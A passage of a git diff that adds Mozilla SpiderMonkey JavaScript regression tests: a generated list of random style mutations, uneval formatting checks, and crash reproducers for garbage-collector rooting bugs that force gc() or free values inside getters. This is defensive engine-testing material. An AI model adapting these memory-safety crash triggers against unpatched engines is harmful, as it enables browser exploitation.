+{origCount:1194, fun:(function anonymous() {allElements[4].style.position = "absolute";})},
+{origCount:1195, fun:(function anonymous() {allElements[4].style['float'] = "none";})},
+{origCount:1196, fun:(function anonymous() {allElements[7].style.color = "black";})},
+{origCount:1197, fun:(function anonymous() {allElements[4].style.color = "blue";})},
+{origCount:1198, fun:(function anonymous() {allElements[1].style.position = "absolute";})},
+{origCount:1199, fun:(function anonymous() {allElements[5].style.overflow = "scroll";})},
+{origCount:1200, fun:(function anonymous() {allElements[6].style.visibility = "visible";})},
+{origCount:1201, fun:(function anonymous() {allElements[11].style.clear = "right";})},
+{origCount:1202, fun:(function anonymous() {allElements[12].style.position = "static";})},
+{origCount:1203, fun:(function anonymous() {allElements[2].style.background = "url(http://www.google.com/images/logo_sm.gif)";})},
+{origCount:1204, fun:(function anonymous() {allElements[11].style.visibility = "hidden";})},
+{origCount:1205, fun:(function anonymous() {allElements[7].style.color = "red";})},
+{origCount:1206, fun:(function anonymous() {allElements[7].style.clear = "right";})},
+{origCount:1207, fun:(function anonymous() {allElements[4].style.clear = "none";})},
+{origCount:1208, fun:(function anonymous() {allElements[4].style.display = "list-item";})},
+{origCount:1209, fun:(function anonymous() {allElements[12].style.background = "transparent";})},
+{origCount:1210, fun:(function anonymous() {allElements[7].style['float'] = "left";})},
+{origCount:1211, fun:(function anonymous() {allElements[8].style.color = "red";})},
+{origCount:1212, fun:(function anonymous() {allElements[7].style.width = "20em";})},
+{origCount:1213, fun:(function anonymous() {allElements[9].style.clear = "right";})},
+{origCount:1214, fun:(function anonymous() {allElements[8].style.height = "100px";})},
+{origCount:1215, fun:(function anonymous() {allElements[8].style.color = "red";})},
+{origCount:1216, fun:(function anonymous() {allElements[2].style.background = "url(http://www.google.com/images/logo_sm.gif)";})},
+{origCount:1217, fun:(function anonymous() {allElements[8].style.overflow = "auto";})},
+{origCount:1218, fun:(function anonymous() {allElements[5].style.position = "relative";})},
+{origCount:1219, fun:(function anonymous() {allElements[0].style['float'] = "left";})},
+{origCount:1220, fun:(function anonymous() {allElements[10].style.overflow = "visible";})},
+{origCount:1221, fun:(function anonymous() {allElements[3].style.overflow = "visible";})},
+{origCount:1222, fun:(function anonymous() {allElements[8].style.visibility = "hidden";})},
+{origCount:1223, fun:(function anonymous() {allElements[6].style.visibility = "hidden";})},
+{origCount:1224, fun:(function anonymous() {allElements[3].style['float'] = "right";})},
+{origCount:1225, fun:(function anonymous() {allElements[3].style.width = "1px";})},
+{origCount:1226, fun:(function anonymous() {allElements[12].style['float'] = "left";})},
+{origCount:1227, fun:(function anonymous() {allElements[9].style.display = "list-item";})},
+{origCount:1228, fun:(function anonymous() {allElements[1].style.width = "20em";})},
+{origCount:1229, fun:(function anonymous() {allElements[4].style['float'] = "left";})},
+{origCount:1230, fun:(function anonymous() {allElements[12].style.overflow = "auto";})},
+{origCount:1231, fun:(function anonymous() {allElements[5].style.overflow = "hidden";})},
+{origCount:1232, fun:(function anonymous() {allElements[12].style.overflow = "auto";})},
+{origCount:1233, fun:(function anonymous() {allElements[2].style.height = "2em";})},
+{origCount:1234, fun:(function anonymous() {allElements[5].style.display = "table-cell";})},
+{origCount:1235, fun:(function anonymous() {allElements[1].style.background = "#fcd";})},
+{origCount:1236, fun:(function anonymous() {allElements[8].style.height = "200%";})},
+{origCount:1237, fun:(function anonymous() {allElements[5].style.clear = "both";})},
+{origCount:1238, fun:(function anonymous() {allElements[12].style.height = "auto";})},
+{origCount:1239, fun:(function anonymous() {allElements[7].style.overflow = "auto";})},
+{origCount:1240, fun:(function anonymous() {allElements[8].style.overflow = "auto";})},
+{origCount:1241, fun:(function anonymous() {allElements[9].style.visibility = "visible";})},
+{origCount:1242, fun:(function anonymous() {allElements[2].style.display = "-moz-deck";})},
+{origCount:1243, fun:(function anonymous() {allElements[5].style.color = "black";})},
+{origCount:1244, fun:(function anonymous() {allElements[10].style.clear = "none";})},
+{origCount:1245, fun:(function anonymous() {allElements[10].style['float'] = "right";})},
+{origCount:1246, fun:(function anonymous() {allElements[11].style.width = "20em";})},
+{origCount:1247, fun:(function anonymous() {allElements[4].style.background = "#fcd";})},
+{origCount:1248, fun:(function anonymous() {allElements[8].style.position = "fixed";})},
+{origCount:1249, fun:(function anonymous() {allElements[3].style.clear = "both";})},
+{origCount:1250, fun:(function anonymous() {allElements[7].style.visibility = "collapse";})},
+{origCount:1251, fun:(function anonymous() {allElements[0].style.overflow = "visible";})},
+{origCount:1252, fun:(function anonymous() {allElements[12].style.height = "100px";})},
+{origCount:1253, fun:(function anonymous() {allElements[10].style.clear = "right";})},
+{origCount:1254, fun:(function anonymous() {allElements[0].style.overflow = "hidden";})},
+{origCount:1255, fun:(function anonymous() {allElements[1].style.overflow = "hidden";})},
+{origCount:1256, fun:(function anonymous() {allElements[3].style.position = "static";})},
+{origCount:1257, fun:(function anonymous() {allElements[1].style.width = "10%";})},
+{origCount:1258, fun:(function anonymous() {allElements[12].style['float'] = "right";})},
+{origCount:1259, fun:(function anonymous() {allElements[3].style.overflow = "auto";})},
+{origCount:1260, fun:(function anonymous() {allElements[4].style.color = "green";})},
+{origCount:1261, fun:(function anonymous() {allElements[10].style.width = "auto";})},
+{origCount:1262, fun:(function anonymous() {allElements[11].style.overflow = "hidden";})},
+{origCount:1263, fun:(function anonymous() {allElements[1].style.clear = "none";})},
+{origCount:1264, fun:(function anonymous() {allElements[11].style['float'] = "right";})},
+{origCount:1265, fun:(function anonymous() {allElements[7].style.background = "url(http://www.google.com/images/logo_sm.gif)";})},
+{origCount:1266, fun:(function anonymous() {allElements[7].style.overflow = "visible";})},
+{origCount:1267, fun:(function anonymous() {allElements[5].style['float'] = "left";})},
+{origCount:1268, fun:(function anonymous() {allElements[5].style.position = "fixed";})},
+{origCount:1269, fun:(function anonymous() {allElements[0].style.visibility = "hidden";})},
+{origCount:1270, fun:(function anonymous() {allElements[9].style.height = "100px";})},
+{origCount:1271, fun:(function anonymous() {allElements[10].style.height = "200%";})},
+{origCount:1272, fun:(function anonymous() {allElements[9].style.position = "absolute";})},
+{origCount:1273, fun:(function anonymous() {allElements[12].style.clear = "both";})},
+{origCount:1274, fun:(function anonymous() {allElements[11].style.visibility = "visible";})},
+{origCount:1275, fun:(function anonymous() {allElements[11].style.position = "fixed";})},
+{origCount:1276, fun:(function anonymous() {allElements[6].style.width = "20em";})},
+{origCount:1277, fun:(function anonymous() {allElements[12].style.height = "200%";})},
+{origCount:1278, fun:(function anonymous() {allElements[10].style.display = "list-item";})},
+{origCount:1279, fun:(function anonymous() {allElements[5].style.clear = "left";})},
+{origCount:1280, fun:(function anonymous() {allElements[3].style.clear = "left";})},
+{origCount:1281, fun:(function anonymous() {allElements[8].style.position = "fixed";})},
+{origCount:1282, fun:(function anonymous() {allElements[1].style.overflow = "auto";})},
+{origCount:1283, fun:(function anonymous() {allElements[0].style.height = "10%";})},
+{origCount:1284, fun:(function anonymous() {allElements[10].style['float'] = "right";})},
+{origCount:1285, fun:(function anonymous() {allElements[10].style.clear = "both";})},
+{origCount:1286, fun:(function anonymous() {allElements[7].style.background = "transparent";})},
+{origCount:1287, fun:(function anonymous() {allElements[4].style.visibility = "visible";})},
+{origCount:1288, fun:(function anonymous() {allElements[9].style.display = "-moz-box";})},
+{origCount:1289, fun:(function anonymous() {allElements[0].style.width = "auto";})},
+{origCount:1290, fun:(function anonymous() {allElements[8].style.color = "black";})},
+{origCount:1291, fun:(function anonymous() {allElements[1].style['float'] = "right";})},
+{origCount:1292, fun:(function anonymous() {allElements[9].style.position = "relative";})},
+{origCount:1293, fun:(function anonymous() {allElements[12].style.clear = "none";})},
+{origCount:1294, fun:(function anonymous() {allElements[3].style.width = "1px";})},
+{origCount:1295, fun:(function anonymous() {allElements[12].style.color = "red";})},
+{origCount:1296, fun:(function anonymous() {allElements[6].style.display = "-moz-inline-block";})},
+{origCount:1297, fun:(function anonymous() {allElements[4].style.width = "10%";})},
+{origCount:1298, fun:(function anonymous() {allElements[11].style.height = "2em";})},
+{origCount:1299, fun:(function anonymous() {allElements[6].style.height = "2em";})},
+{origCount:1300, fun:(function anonymous() {allElements[8].style.visibility = "collapse";})},
+{origCount:1301, fun:(function anonymous() {allElements[9].style.position = "absolute";})},
+{origCount:1302, fun:(function anonymous() {allElements[2].style.color = "green";})},
+{origCount:1303, fun:(function anonymous() {allElements[5].style.overflow = "auto";})},
+{origCount:1304, fun:(function anonymous() {allElements[11].style.visibility = "collapse";})},
+{origCount:1305, fun:(function anonymous() {allElements[12].style.color = "black";})},
+{origCount:1306, fun:(function anonymous() {allElements[12].style.background = "transparent";})},
+{origCount:1307, fun:(function anonymous() {allElements[6].style['float'] = "left";})},
+{origCount:1308, fun:(function anonymous() {allElements[11].style['float'] = "right";})},
+{origCount:1309, fun:(function anonymous() {allElements[6].style.clear = "none";})},
+{origCount:1310, fun:(function anonymous() {allElements[10].style.background = "url(http://www.google.com/images/logo_sm.gif)";})},
+{origCount:1311, fun:(function anonymous() {allElements[3].style.display = "-moz-grid-group";})},
+{origCount:1312, fun:(function anonymous() {allElements[3].style['float'] = "right";})},
+{origCount:1313, fun:(function anonymous() {allElements[2].style.color = "blue";})},
+{origCount:1314, fun:(function anonymous() {allElements[5].style.visibility = "hidden";})},
+{origCount:1315, fun:(function anonymous() {allElements[6].style.background = "transparent";})},
+{origCount:1316, fun:(function anonymous() {allElements[9].style['float'] = "right";})},
+{origCount:1317, fun:(function anonymous() {allElements[7].style.background = "#fcd";})},
+{origCount:1318, fun:(function anonymous() {allElements[5].style.visibility = "collapse";})},
+{origCount:1319, fun:(function anonymous() {allElements[9].style.clear = "both";})},
+{origCount:1320, fun:(function anonymous() {allElements[11].style.color = "green";})},
+{origCount:1321, fun:(function anonymous() {allElements[4].style.clear = "none";})},
+{origCount:1322, fun:(function anonymous() {allElements[6].style.display = "-moz-deck";})},
+{origCount:1323, fun:(function anonymous() {allElements[9].style.clear = "none";})},
+{origCount:1324, fun:(function anonymous() {allElements[6].style.position = "static";})},
+{origCount:1325, fun:(function anonymous() {allElements[2].style.overflow = "scroll";})},
+{origCount:1326, fun:(function anonymous() {allElements[3].style.background = "transparent";})},
+{origCount:1327, fun:(function anonymous() {allElements[1].style.overflow = "auto";})},
+{origCount:1328, fun:(function anonymous() {allElements[2].style.visibility = "hidden";})},
+{origCount:1329, fun:(function anonymous() {allElements[10].style.overflow = "hidden";})},
+{origCount:1330, fun:(function anonymous() {allElements[6].style.overflow = "visible";})},
+{origCount:1331, fun:(function anonymous() {allElements[8].style.width = "auto";})},
+{origCount:1332, fun:(function anonymous() {allElements[7].style.width = "200%";})},
+{origCount:1333, fun:(function anonymous() {allElements[11].style.width = "200%";})},
+{origCount:1334, fun:(function anonymous() {allElements[10].style.visibility = "collapse";})},
+{origCount:1335, fun:(function anonymous() {allElements[11].style.background = "transparent";})},
+{origCount:1336, fun:(function anonymous() {allElements[5].style.overflow = "visible";})},
+{origCount:1337, fun:(function anonymous() {allElements[12].style['float'] = "right";})},
+{origCount:1338, fun:(function anonymous() {allElements[10].style.background = "#fcd";})},
+{origCount:1339, fun:(function anonymous() {allElements[6].style['float'] = "right";})},
+{origCount:1340, fun:(function anonymous() {allElements[4].style.visibility = "visible";})},
+{origCount:1341, fun:(function anonymous() {allElements[10].style.height = "auto";})},
+{origCount:1342, fun:(function anonymous() {allElements[3].style.position = "static";})},
+{origCount:1343, fun:(function anonymous() {allElements[2].style.display = "-moz-box";})},
+{origCount:1344, fun:(function anonymous() {allElements[12].style.color = "red";})},
+{origCount:1345, fun:(function anonymous() {allElements[0].style.clear = "none";})},
+{origCount:1346, fun:(function anonymous() {allElements[10].style.clear = "left";})},
+{origCount:1347, fun:(function anonymous() {allElements[8].style['float'] = "none";})},
+{origCount:1348, fun:(function anonymous() {allElements[0].style.visibility = "collapse";})},
+{origCount:1349, fun:(function anonymous() {allElements[4].style.visibility = "hidden";})},
+{origCount:1350, fun:(function anonymous() {allElements[0].style.position = "absolute";})},
+{origCount:1351, fun:(function anonymous() {allElements[6].style.display = "-moz-grid-group";})},
+{origCount:1352, fun:(function anonymous() {allElements[1].style.height = "100px";})},
+{origCount:1353, fun:(function anonymous() {allElements[5].style['float'] = "none";})},
+{origCount:1354, fun:(function anonymous() {allElements[9].style['float'] = "none";})},
+{origCount:1355, fun:(function anonymous() {allElements[5].style.display = "table-footer-group";})},
+{origCount:1356, fun:(function anonymous() {allElements[0].style.clear = "both";})},
+{origCount:1357, fun:(function anonymous() {allElements[11].style.clear = "none";})},
+{origCount:1358, fun:(function anonymous() {allElements[5].style.color = "green";})},
+{origCount:1359, fun:(function anonymous() {allElements[1].style['float'] = "left";})},
+{origCount:1360, fun:(function anonymous() {allElements[3].style.background = "#fcd";})},
+{origCount:1361, fun:(function anonymous() {allElements[5].style.display = "block";})},
+{origCount:1362, fun:(function anonymous() {allElements[11].style.width = "1px";})},
+{origCount:1363, fun:(function anonymous() {allElements[2].style['float'] = "right";})},
+{origCount:1364, fun:(function anonymous() {allElements[8].style.display = "table-column";})},
+{origCount:1365, fun:(function anonymous() {allElements[9].style.width = "20em";})},
+{origCount:1366, fun:(function anonymous() {allElements[10].style.visibility = "visible";})},
+{origCount:1367, fun:(function anonymous() {allElements[4].style['float'] = "none";})},
+{origCount:1368, fun:(function anonymous() {allElements[9].style.visibility = "hidden";})},
+{origCount:1369, fun:(function anonymous() {allElements[5].style.width = "200%";})},
+{origCount:1370, fun:(function anonymous() {allElements[9].style.background = "transparent";})},
+{origCount:1371, fun:(function anonymous() {allElements[2].style.color = "red";})},
+{origCount:1372, fun:(function anonymous() {allElements[2].style.width = "auto";})},
+{origCount:1373, fun:(function anonymous() {allElements[1].style.background = "#fcd";})},
+{origCount:1374, fun:(function anonymous() {allElements[5].style.width = "10%";})},
+{origCount:1375, fun:(function anonymous() {allElements[6].style.overflow = "visible";})},
+{origCount:1376, fun:(function anonymous() {allElements[10].style.display = "-moz-inline-block";})},
+{origCount:1377, fun:(function anonymous() {allElements[8].style.visibility = "collapse";})},
+{origCount:1378, fun:(function anonymous() {allElements[7].style.display = "inline";})},
+{origCount:1379, fun:(function anonymous() {allElements[11].style.position = "fixed";})},
+{origCount:1380, fun:(function anonymous() {allElements[1].style.display = "-moz-stack";})},
+{origCount:1381, fun:(function anonymous() {allElements[7].style.clear = "left";})},
+{origCount:1382, fun:(function anonymous() {allElements[9].style.overflow = "auto";})},
+{origCount:1383, fun:(function anonymous() {allElements[0].style.height = "10%";})},
+{origCount:1384, fun:(function anonymous() {allElements[10].style.overflow = "scroll";})},
+{origCount:1385, fun:(function anonymous() {allElements[7].style.height = "100px";})},
+{origCount:1386, fun:(function anonymous() {allElements[8].style.overflow = "auto";})},
+{origCount:1387, fun:(function anonymous() {allElements[6].style.background = "#fcd";})},
+{origCount:1388, fun:(function anonymous() {allElements[7].style.width = "auto";})},
+{origCount:1389, fun:(function anonymous() {allElements[3].style.position = "relative";})},
+{origCount:1390, fun:(function anonymous() {allElements[12].style.width = "10%";})},
+{origCount:1391, fun:(function anonymous() {allElements[1].style.position = "absolute";})},
+{origCount:1392, fun:(function anonymous() {allElements[1].style.background = "url(http://www.google.com/images/logo_sm.gif)";})},
+{origCount:1393, fun:(function anonymous() {allElements[5].style.clear = "left";})},
+{origCount:1394, fun:(function anonymous() {allElements[4].style['float'] = "left";})},
+{origCount:1395, fun:(function anonymous() {allElements[6].style.width = "20em";})},
+{origCount:1396, fun:(function anonymous() {allElements[0].style.height = "200%";})},
+{origCount:1397, fun:(function anonymous() {allElements[8].style.width = "200%";})},
+{origCount:1398, fun:(function anonymous() {allElements[6].style.height = "auto";})},
+{origCount:1399, fun:(function anonymous() {allElements[2].style.overflow = "scroll";})},
+{origCount:1400, fun:(function anonymous() {allElements[1].style.clear = "left";})},
+{origCount:1401, fun:(function anonymous() {allElements[7].style.display = "-moz-box";})},
+{origCount:1402, fun:(function anonymous() {allElements[0].style['float'] = "none";})},
+{origCount:1403, fun:(function anonymous() {allElements[0].style.clear = "none";})},
+{origCount:1404, fun:(function anonymous() {allElements[10].style.height = "100px";})},
+{origCount:1405, fun:(function anonymous() {allElements[11].style.width = "20em";})},
+{origCount:1406, fun:(function anonymous() {allElements[9].style.clear = "both";})},
+{origCount:1407, fun:(function anonymous() {allElements[7].style.position = "static";})},
+{origCount:1408, fun:(function anonymous() {allElements[12].style['float'] = "none";})},
+{origCount:1409, fun:(function anonymous() {allElements[4].style.position = "static";})},
+{origCount:1410, fun:(function anonymous() {allElements[0].style.height = "200%";})},
+{origCount:1411, fun:(function anonymous() {allElements[7].style['float'] = "none";})},
+{origCount:1412, fun:(function anonymous() {allElements[3].style.clear = "none";})},
+{origCount:1413, fun:(function anonymous() {allElements[6].style.color = "green";})},
+{origCount:1414, fun:(function anonymous() {allElements[10].style.height = "200%";})},
+{origCount:1415, fun:(function anonymous() {allElements[7].style.overflow = "visible";})}
+
+ ];
+
+
+var output = eval(commands.toSource().replace(/anonymous/g,"")).toSource().replace( /\)\},/g , ")},\n");
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_5/extensions/regress-311583.js b/js/src/tests/js1_5/extensions/regress-311583.js
new file mode 100644
index 000000000..512427cc1
--- /dev/null
+++ b/js/src/tests/js1_5/extensions/regress-311583.js
@@ -0,0 +1,21 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 311583;
+var summary = 'uneval(array) should use elision for holes';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var a = new Array(3);
+a[0] = a[2] = 0;
+
+actual = uneval(a);
+expect = '[0, , 0]';
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_5/extensions/regress-311792-01.js b/js/src/tests/js1_5/extensions/regress-311792-01.js
new file mode 100644
index 000000000..0df7dd3b2
--- /dev/null
+++ b/js/src/tests/js1_5/extensions/regress-311792-01.js
@@ -0,0 +1,26 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 311792;
+var summary = 'Root Array.prototype methods';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+function index_getter()
+{
+ gc();
+ return 100;
+}
+
+var a = [0, 1];
+a.__defineGetter__(0, index_getter);
+
+uneval(a.slice(0, 1));
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_5/extensions/regress-311792-02.js b/js/src/tests/js1_5/extensions/regress-311792-02.js
new file mode 100644
index 000000000..3b0141559
--- /dev/null
+++ b/js/src/tests/js1_5/extensions/regress-311792-02.js
@@ -0,0 +1,40 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 311792;
+var summary = 'Root Array.prototype methods';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var subverted = 0;
+
+function index_getter()
+{
+ delete a[0];
+ gc();
+ for (var i = 0; i != 1 << 14; ++i) {
+ var tmp = new String("test");
+ tmp = null;
+ }
+ return 1;
+}
+
+function index_setter(value)
+{
+ subverted = value;
+}
+
+var a = [ Math.sqrt(2), 0 ];
+a.__defineGetter__(1, index_getter);
+a.__defineSetter__(1, index_setter);
+
+a.reverse();
+printStatus(subverted)
+
+ reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_5/extensions/regress-313763.js b/js/src/tests/js1_5/extensions/regress-313763.js
new file mode 100644
index 000000000..c5ecfb2d8
--- /dev/null
+++ b/js/src/tests/js1_5/extensions/regress-313763.js
@@ -0,0 +1,46 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 313763;
+var summary = 'Root jsarray.c creatures';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+printStatus ('This bug requires TOO_MUCH_GC');
+
+var N = 0x80000002;
+var array = Array(N);
+array[N - 1] = 1;
+array[N - 2] = 2;
+
+// Set getter not to wait until engine loops through 2^31 holes in the array.
+var LOOP_TERMINATOR = "stop_long_loop";
+array.__defineGetter__(N - 2, function() {
+ throw "stop_long_loop";
+ });
+
+var prepared_string = String(1);
+array.__defineGetter__(N - 1, function() {
+ var tmp = prepared_string;
+ prepared_string = null;
+ return tmp;
+ })
+
+
+ try {
+ array.unshift(1);
+ } catch (e) {
+ if (e !== LOOP_TERMINATOR)
+ throw e;
+ }
+
+var expect = "1";
+var actual = array[N];
+printStatus(expect === actual);
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_5/extensions/regress-313803.js b/js/src/tests/js1_5/extensions/regress-313803.js
new file mode 100644
index 000000000..27aafd144
--- /dev/null
+++ b/js/src/tests/js1_5/extensions/regress-313803.js
@@ -0,0 +1,24 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 313803;
+var summary = 'uneval() on func with embedded objects with getter or setter';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var func = function ff() {
+ obj = { get foo() { return "foo"; }};
+ return 1;
+};
+
+actual = uneval(func);
+
+expect = '(function ff() {obj = {get foo () {return "foo";}};return 1;})';
+
+compareSource(expect, actual, summary);
diff --git a/js/src/tests/js1_5/extensions/regress-313938.js b/js/src/tests/js1_5/extensions/regress-313938.js
new file mode 100644
index 000000000..e4fec8032
--- /dev/null
+++ b/js/src/tests/js1_5/extensions/regress-313938.js
@@ -0,0 +1,54 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 313938;
+var summary = 'Root access in jsscript.c';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+if (typeof Script == 'undefined')
+{
+ print('Test skipped. Script not defined.');
+ reportCompare("Script not defined, Test skipped.",
+ "Script not defined, Test skipped.",
+ summary);
+}
+else
+{
+ var str = " 2;".substring(1);
+ "1".substring(2);
+ expect = Script.prototype.compile(str).toSource();
+
+ var likeString = {
+ toString: function() {
+ var tmp = str;
+ str = null;
+ return tmp;
+ }
+ };
+
+ TWO = 2.0;
+
+ var likeObject = {
+ valueOf: function() {
+ if (typeof gc == "function")
+ gc();
+ for (var i = 0; i != 40000; ++i) {
+ var tmp = 1e100 * TWO;
+ }
+ return this;
+ }
+ }
+
+ var s = Script.prototype.compile(likeString, likeObject);
+ var actual = s.toSource();
+ printStatus(expect === actual);
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/js1_5/extensions/regress-314874.js b/js/src/tests/js1_5/extensions/regress-314874.js
new file mode 100644
index 000000000..d0329d8a5
--- /dev/null
+++ b/js/src/tests/js1_5/extensions/regress-314874.js
@@ -0,0 +1,40 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 314874;
+var summary = 'Function.call/apply with non-primitive argument';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var thisArg = { valueOf: function() { return {a: 'a', b: 'b'}; } };
+
+ var f = function () { return (this); };
+
+ expect = f.call(thisArg);
+
+ thisArg.f = f;
+
+ actual = thisArg.f();
+
+ delete thisArg.f;
+
+ expect = expect.toSource();
+ actual = actual.toSource();
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/extensions/regress-315509-02.js b/js/src/tests/js1_5/extensions/regress-315509-02.js
new file mode 100644
index 000000000..40e64b7ea
--- /dev/null
+++ b/js/src/tests/js1_5/extensions/regress-315509-02.js
@@ -0,0 +1,42 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 315509;
+var summary = 'Array.prototype.unshift do not crash on Arrays with holes';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+function x1() {
+ var a = new Array(1);
+ a.unshift(1);
+}
+function x2() {
+ var a = new Array(1);
+ a.unshift.call(a, 1);
+}
+function x3() {
+ var a = new Array(1);
+ a.x = a.unshift;
+ a.x(1);
+}
+function x4() {
+ var a = new Array(1);
+ a.__defineSetter__("x", a.unshift);
+ a.x = 1;
+}
+
+for (var i = 0; i < 10; i++)
+{
+ x1();
+ x2();
+ x3();
+ x4();
+}
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_5/extensions/regress-319683.js b/js/src/tests/js1_5/extensions/regress-319683.js
new file mode 100644
index 000000000..47e0e8042
--- /dev/null
+++ b/js/src/tests/js1_5/extensions/regress-319683.js
@@ -0,0 +1,31 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 319683;
+var summary = 'Do not crash in call_enumerate';
+var actual = 'No Crash';
+var expect = 'No Crash';
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+function crash(){
+ function f(){
+ var x;
+ function g(){
+ x=1; //reference anything here or will not crash.
+ }
+ }
+
+ //apply an object to the __proto__ attribute
+ f.__proto__={};
+
+ //the following call will cause crash
+ f();
+}
+
+crash();
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_5/extensions/regress-322957.js b/js/src/tests/js1_5/extensions/regress-322957.js
new file mode 100644
index 000000000..0ae58b84e
--- /dev/null
+++ b/js/src/tests/js1_5/extensions/regress-322957.js
@@ -0,0 +1,27 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 322957;
+var summary = 'TryMethod should not eat getter exceptions';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+var obj = { get toSource() { throw "EXCEPTION"; } };
+
+var got_proper_exception = -1;
+
+try {
+ uneval(obj);
+} catch (e) {
+ got_proper_exception = (e === "EXCEPTION");
+}
+
+expect = true;
+actual = got_proper_exception;
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_5/extensions/regress-327608.js b/js/src/tests/js1_5/extensions/regress-327608.js
new file mode 100644
index 000000000..57f1b09b2
--- /dev/null
+++ b/js/src/tests/js1_5/extensions/regress-327608.js
@@ -0,0 +1,48 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 327608;
+var summary = 'Do not assume we will find the prototype property';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+print('This test runs only in the browser');
+
+function countProps(obj)
+{
+ var c;
+ for (var prop in obj)
+ ++c;
+ return c;
+}
+
+function init()
+{
+ var inp = document.getElementsByTagName("input")[0];
+ countProps(inp);
+ gc();
+ var blurfun = inp.blur;
+ blurfun.__proto__ = null;
+ countProps(blurfun);
+ reportCompare(expect, actual, summary);
+ gDelayTestDriverEnd = false;
+ jsTestDriverEnd();
+}
+
+if (typeof window != 'undefined')
+{
+ // delay test driver end
+ gDelayTestDriverEnd = true;
+
+ document.write('<input>');
+ window.addEventListener("load", init, false);
+}
+else
+{
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/js1_5/extensions/regress-328443.js b/js/src/tests/js1_5/extensions/regress-328443.js
new file mode 100644
index 000000000..897ee8fc1
--- /dev/null
